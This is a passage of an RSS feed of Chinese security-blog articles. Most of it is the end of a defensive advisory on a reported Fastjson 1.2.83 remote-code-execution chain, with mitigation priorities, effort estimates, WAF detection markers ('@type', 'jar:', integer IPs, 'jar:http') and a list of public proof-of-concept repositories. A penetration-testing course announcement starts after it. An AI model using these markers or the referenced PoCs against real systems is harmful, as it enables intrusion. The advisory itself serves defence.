5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">P0</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">将应用出站改为默认拒绝，只保留明确业务允许列表</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">截断远程 JAR 获取与 SSRF 路径</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">P0</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">在 WAF、网关和 SIEM 中上线组合检测，并回溯历史请求</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">发现已发生的探测、攻击尝试和可能的远程获取</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">P1</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">收敛外部 JSON 入口，增加网关与日志监控</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">减少可触达面并补充发现能力</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">P1</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">升级 JDK 并验证部署方式</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">降低当前公开链进入完整 RCE 的概率</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">中长期</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">迁移 Fastjson2</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">结束 Fastjson 1.x 的持续处置成本</span></p></td></tr></tbody></table><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">WAF 对 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">@type</span></code><span leaf="" data-nest-level="3">、</span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">jar:</span></code><span leaf="" data-nest-level="3">、整数 IP 等特征的识别可以作为临时补强，但它更适合争取处置时间。真正有确定性的两项控制，仍是 SafeMode 和限制出站。</span></p><h2 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 38px 0px 16px;padding: 0px 0px 0px 12px;border-left: 5px solid rgb(37, 99, 235);color: rgb(20, 33, 61);font-size: 23px;line-height: 1.35;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">处置成本要提前说清楚</span></h2><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">限制多，不等于处置没有成本。真正耗时的通常是回归和跨团队协调：</span></p><table style="width: 688px;max-width: 100%;border-collapse: collapse;table-layout: fixed;background: rgb(255, 255, 255);font-size: 12px;line-height: 1.55;min-width: 0px;"><thead><tr><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">工作项</span></p></th><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">单体或低复杂度服务</span></p></th><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">中高复杂度服务</span></p></th><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">主要成本来源</span></p></th></tr></thead><tbody><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">依赖、入口、打包方式和 JDK 盘点</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">0.5—1 人日</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">2—5 人日</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">传递依赖、公共组件、离线制品、多套环境</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">SafeMode 启用与回归</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">0.5—2 人日</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">3—10 人日</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">历史 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="7"><span leaf="" data-nest-level="8">@type</span></code><span leaf="" data-nest-level="7">数据、多态模型、MQ 与回调兼容</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">出站网络收敛</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">0.5—2 人日</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">3—10 人日</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">代理、域名允许列表、合作方接口、发布窗口</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">Fastjson2 迁移</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">2—5 人日</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">1—8 人周或更长</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">API 差异、序列化行为、全链路回归和灰度发布</span></p></td></tr></tbody></table><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">比较现实的节奏是：先在 24 小时内完成高风险组合筛选、SafeMode 核验和高风险服务出站收敛；随后完善允许列表和监控，再按业务域推进 Fastjson2 迁移。</span></p><h2 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 38px 0px 16px;padding: 0px 0px 0px 12px;border-left: 5px solid rgb(37, 99, 235);color: rgb(20, 33, 61);font-size: 23px;line-height: 1.35;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">最后怎么看这件事</span></h2><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">目前可以确认的是：作者维持高风险声明，腾讯云已发正式通告，长亭在 JDK 8 受控容器中展示了 RCE 成功，微步公开确认了 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">jar:file</span></code><span leaf="" data-nest-level="3">复现，GitHub 与本机对照则给出了特定环境下的 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">jar:http</span></code><span leaf="" data-nest-level="3">远程加载路径。常规安全产品对明显请求和后续行为有较好的发现机会，但覆盖效果要以规则版本、流量位置和实际命中验证为准。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">这些证据足以支持企业尽快排查和缓解，但也说明公开完整利用受到较多环境条件约束。把它描述成“所有 Fastjson 1.2.83 默认环境都能直接 RCE”并不准确；把它当成普通传言继续观望，同样不合适。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">更平衡的判断是：</span><strong style="color: rgb(16, 42, 67);font-weight: 750;" data-nest-level="3"><span leaf="" data-nest-level="4">高危、需要行动，但当前公开远程链的暴露面可通过条件筛选快速收窄。SafeMode 与限制出站先落地，迁移 Fastjson2 作为长期收口。</span></strong></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">接下来真正影响风险判断的，是 Firsov 完整 write-up、正式 CVE 或项目方通告，以及是否出现摆脱 JDK 8、经典 Boot Loader 或 HTTP 出站条件的新链。</span></p><h2 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 44px 0px 16px;padding: 26px 0px 0px 12px;border-left: 5px solid rgb(37, 99, 235);color: rgb(20, 33, 61);font-size: 23px;line-height: 1.35;font-weight: 750;border-top: 1px solid rgb(219, 228, 238);" data-nest-level="2"><span leaf="" data-nest-level="3">参考来源</span></h2><ul style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 12px 0px 18px;padding-left: 1.35em;color: rgb(51, 65, 85);font-size: 14px;" class="list-paddingleft-1"><li style="margin: 7px 0px;font-size: 14px;line-height: 1.65;word-break: break-all;"><p data-nest-level="4"><span leaf="" data-nest-level="5">Kirill Firsov 原始预警及同串补充</span></p></li><li style="margin: 7px 0px;font-size: 14px;line-height: 1.65;word-break: break-all;"><p data-nest-level="4"><span leaf="" data-nest-level="5">Kirill Firsov 关于 DTO 绑定的补充</span></p></li><li style="margin: 7px 0px;font-size: 14px;line-height: 1.65;word-break: break-all;"><p data-nest-level="4"><span leaf="" data-nest-level="5">腾讯云 Fastjson 远程代码执行漏洞风险通告</span></p></li><li style="margin: 7px 0px;font-size: 14px;line-height: 1.65;word-break: break-all;"><p data-nest-level="4"><span leaf="" data-nest-level="5">ThanatosXingYu/2026FastjsonPoC</span></p></li><li style="margin: 7px 0px;font-size: 14px;line-height: 1.65;word-break: break-all;"><p data-nest-level="4"><span leaf="" data-nest-level="5">dinosn/fastjson-jsontype-rce-lab</span></p></li><li style="margin: 7px 0px;font-size: 14px;line-height: 1.65;word-break: break-all;"><p data-nest-level="4"><span leaf="" data-nest-level="5">0x7eTeam/fastjson-1.2.83-rce</span></p></li><li style="margin: 7px 0px;font-size: 14px;line-height: 1.65;word-break: break-all;"><p data-nest-level="4"><span leaf="" data-nest-level="5">后续仓引用的 wouijvziqy/Fastjson-JsonType-RCE-PoC</span></p></li><li style="margin: 7px 0px;font-size: 14px;line-height: 1.65;word-break: break-all;"><p data-nest-level="4"><span leaf="" data-nest-level="5">Spring Boot 官方：Launching Executable Jars</span></p></li><li style="margin: 7px 0px;font-size: 14px;line-height: 1.65;word-break: break-all;"><p data-nest-level="4"><span leaf="" data-nest-level="5">Spring Boot 2.7.18：LaunchedURLClassLoader 源码</span></p></li><li style="margin: 7px 0px;font-size: 14px;line-height: 1.65;word-break: break-all;"><p data-nest-level="4"><span leaf="" data-nest-level="5">Spring Boot 3.2 Release Notes：Nested Jar 实现重写</span></p></li><li style="margin: 7px 0px;font-size: 14px;line-height: 1.65;word-break: break-all;"><p data-nest-level="4"><span leaf="" data-nest-level="5">Fastjson SafeMode 官方 Wiki</span></p></li><li style="margin: 7px 0px;font-size: 14px;line-height: 1.65;word-break: break-all;"><p data-nest-level="4"><span leaf="" data-nest-level="5">Fastjson 1.2.83 ParserConfig 源码</span></p></li><li style="margin: 7px 0px;font-size: 14px;line-height: 1.65;word-break: break-all;"><p data-nest-level="4"><span leaf="" data-nest-level="5">Fastjson2 GitHub 仓库</span></p></li></ul><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.xazlsec.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c0196b23&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500626%26idx%3D1%26sn%3Ddca535f3a68a0add8cba6b4b75cf8cdc">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 21 Jul 2026 09:42:00 +0800</pubDate>
    </item>
    <item>
      <title>课程中心上线了</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500624&amp;idx=1&amp;sn=9f325562d1d2ab3da5d72c60bdab6941</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>xazlsec</span> <span>2026-07-14 20:47</span> <span style="display: inline-block;">山西</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=62eb557c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FVnwOz8XYCTbLR7THRrIYj0OEq0B3fPoOgfQ7pRa9icffBvTgcfDpn5ePgfbmIclTthHrHy1Q4R35eia9LREia4UMYLxFAMOB7H6utD6PEqXaLk%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" data-pm-slice="0 0 []"><span style="box-sizing: border-box;"><span leaf="">过去几年我们对外做了多次付费培训，为了不让之前的心血躺在星球里吃灰，在 AI 的加持下，将成长平台与文库进行了合并，并在成长平台的学习中心增加视频课程模块：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260714202715047" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100016967" data-ratio="0.5425925925925926" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b8c45d3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTZoVLE38TqF2MXjrnO0I8wY7sRCfQwHJuKsicpLqACvv5nQIhKCyupiczGAaVzK6UoPmRlxugddF2l3E1ibibdib9gsAYI7Il7uwIAU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">一共出过 5 套关于渗透测试的课程，还有一些杂七杂八的视频，已经全部上传至成长平台。</span></span></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">课程一：公益 SRC 实战</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">共5 节课，这是第四期的时候录制的，前面三期未录制视频：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260714202834761" class="rich_pages wxw-img" data-ratio="0.49907407407407406" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016964" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=e3f827b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTYYkgvWjvZIWUJH6vYLPaMdcYCRQ5Zfv13EsvLRUT93JYSO1NcyTHhArBDRsSPRtjMHgHConz54jurgrB1ic1hrcTpxqAPXicu2I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: 